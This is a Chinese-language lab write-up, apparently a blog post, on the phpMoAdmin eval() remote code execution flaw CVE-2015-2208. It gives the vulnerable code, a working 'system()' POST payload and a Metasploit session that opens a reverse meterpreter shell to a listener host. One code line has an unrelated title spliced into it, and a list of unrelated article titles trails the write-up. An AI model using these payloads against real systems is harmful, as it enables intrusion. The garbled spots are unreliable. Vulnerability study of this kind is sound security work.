phpmoadmin 远程代码执行 (CVE-2015-2208)
phpmoadmin 远程代码执行 (CVE-2015-2208)
描述: phpMoAdmin 是一个用PHP 开发的在线MongoDB 管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON 格式数据的导入导出。 moadmin.php 开头检查POST是否传输了object,随后内包含的if进行判断,这个过程即调用了当前类的saveObject方法,POST传入object参数的值带入eval后就造成了代码执行。
环境搭建
靶机:CentOS7(192.168.2.101:8888)
利用vulhub一键搭建docker环境:
docker pull ptantiku/cve-2015-2208
sudo docker run -d -p 8888:80 ptantiku/cve-2015-2208
至此 环境搭建完毕
漏洞分析
www/html/moadmin.php
第693行:
public function saveObject($collection, $obj) {eval('$obj=' . $obj . ';'); //cast from string to arrayreturn $this->mongo->selectCollection($collection)->save($obj);}
发现了eval函数,看看那些函数调用了saveObject
发现该函数只被调用了一次
www/html/moadmin.php
第787行:
if (isset($_POST['object'])) {if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {return $this->_dumpFormVals();} else {$action = 'editObject';$_POST['errors']['object'] = 'Error: object could not be saved - check your array syntax.';}} else if ($action == 'creatphpMoadmin CVE-2015-2208 远程代码执行漏洞分析eCollection') {self::$model->$action($_GET['collection']);} else if ($action == 'renameCollection'&& isset($_POST['collectionto']) && $_POST['collectionto'] != $_POST['collectionfrom']) {self::$model->$action($_POST['collectionfrom'], $_POST['collectionto']);$_GET['collection'] = $_POST['collectionto'];$action = 'listRows';}
上文代码为函数__construct的代码段_
可以发现eval处的$obj是post传输进来的,参数名为object
构造函数(constructor method,也称为构造器)是类中的一种特殊函数,当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
很明显,在1977行处实例化了moadminComponent对象
$mo = new moadminComponent;
因此漏洞出现的位置和原理已经很明确了。
漏洞利用
构造payload:
object=1;system("whoami");
命令执行成功!
msf中也继承了对该漏洞的利用
msf6 exploit(multi/http/phpmoadmin_exec) > show options Module options (exploit/multi/http/phpmoadmin_exec):Name Current Setting Required Description---- --------------- -------- -----------Proxies no A proxy chain of format type:host:port[,type:host:port][...]RHOSTS 192.168.2.101 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'RPORT 8888 yes The target port (TCP)SSL false no Negotiate SSL/TLS for outgoing connectionsTARGETURI /phpmoadmin yes The URI path of the PHPMoAdmin pageVHOST no HTTP server virtual hostPayload options (php/meterpreter/reverse_tcp):Name Current Setting Required Description---- --------------- -------- -----------LHOST 192.168.2.104 yes The listen address (an interface may be specified)LPORT 4444 yes The listen portExploit target:Id Name-- ----0 PHPMoAdminmsf6 exploit(multi/http/phpmoadmin_exec) > exploit [*] Started reverse TCP handler on 192.168.2.104:4444
[*] Executing payload...
[*] Sending stage (39282 bytes) to 192.168.2.101
[*] Meterpreter session 1 opened (192.168.2.104:4444 -> 192.168.2.101:54428) at 2022-01-07 11:13:03 +0800lsmeterpreter >
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 113923 fil 2013-05-28 13:08:52 +0800 moadmin.phpmeterpreter > whoami
[-] Unknown command: whoami.
meterpreter > ls
Listing: /var/www/html/phpmoadmin
=================================Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 113923 fil 2013-05-28 13:08:52 +0800 moadmin.phpmeterpreter > shell
Process 96 created.
Channel 0 created.
ls
moadmin.php
phpmoadmin 远程代码执行 (CVE-2015-2208)相关推荐
- php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限
此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...
- linux内核远程漏洞,CVE-2019-11815:Linux内核竞争条件漏洞导致远程代码执行
*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版的计算机设备,如果内核版本小于5.0.8的话,将有可能受到一 ...
- 绿盟科技网络安全威胁周报2017.17 请关注Squirrelmail 远程代码执行漏洞CVE-2017-7692...
绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-17,绿盟科技漏洞库本周新增84条,其中高危40条.本次周报建议大家关注 Squirrelmail 远程代码执行漏洞 .SquirrelMai ...
- linux内核竞争条件漏洞,Linux内核竞争条件漏洞-导致远程代码执行
原标题: Linux内核竞争条件漏洞-导致远程代码执行 导读*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担. 运行了Linux发行版 ...
- cve-2017-12617 tomcat远程代码执行漏洞复现测试
0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...
- cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析
前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...
- drupal cve-2018-7600 远程代码执行漏洞 简介
漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...
- windows server 2012 远程连不上_CVE20201350 | Windows DNS Server远程代码执行漏洞通告
0x00 漏洞概述 CVE ID CVE-2020-1350 时 间 2020-07-15 类 型 RCE 等 级 严重 远程利用 是 影响范围 0x01 漏洞详情 微软于 ...
- [网络安全自学篇] 六十四.Windows安全缺陷利用之SMBv3服务远程代码执行(CVE-2020-0796)复现及防御机理
这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了hack the box的OpenAdmin题目,结合Nmap.Gob ...
最新文章
- php json_decode 后,数字对象转换成了 科学计数法 的解决方案
- 输入十个数,输出其中最大数、下标,用函数实现
- CCNA考试中实验题精讲(RIP,OSPF,VLAN)
- ML.NET 1.4 发布,跨平台机器学习框架
- opensource项目_Opensource.com 2015社区奖的获奖者
- 李彦宏:我从未说过百度“All in AI”,这得怪陆奇
- /etc/sudoers文件的分析以及sudo的高级用法
- 2017-2018-1 20155328 《信息安全系统设计基础》第13周学习总结
- 高性能JavaScript 笔记之 第2章 数据访问
- 即时通讯源码,IM源码-哇谷即时通讯源码,哇谷团队源码开发
- linux断开网络的命令,Linux常用网络命令总结
- 网易云音乐java爬虫_Java爬取网易云音乐民谣并导入Excel分析
- 0033【MySQL】Mysql备份导入异常:@@GLOBAL.GTID_PURGED can only be set when @@GLOBAL.GTID_EXECUTED is empty
- RuntimeError: Unable to open shape_predictor_68_face_landmarks.dat
- 爬虫笔记——东方财富科创板数据爬取(requests方法)
- xiuno论坛目录结构摸索记录【hook】
- 使用AD中的自带的元件库问题处理
- 使用头文件winbase.h的错误
- 16. 设计模式之契约原则:如何做好 API 接口设计?
- 织梦cms教程:自定义表单添加提交时间
热门文章
- 几本牛X的数据分析好书!
- 4核处理器_网红评测软件:AMD处理器多核性能作弊,以后超过4核的性能只算2%...
- HTML、CSS、JS实现轮播图效果:包含分页按钮及切换箭头
- C# 开发企业订货系统构架,手机版本订货/订单系统
- JProfiler 9.1注册码
- i7处理器 支持linux,华硕P8P67主板,I7处理器,8G存储空间的配置能装RED LINUX系统吗...
- 目标检测常用损失函数-类别损失+位置损失
- 目前网罗的各种有关Kinect的有趣应用
- Ubuntu安装无线网卡(USB)驱动
- aws服务器使用root+密码登陆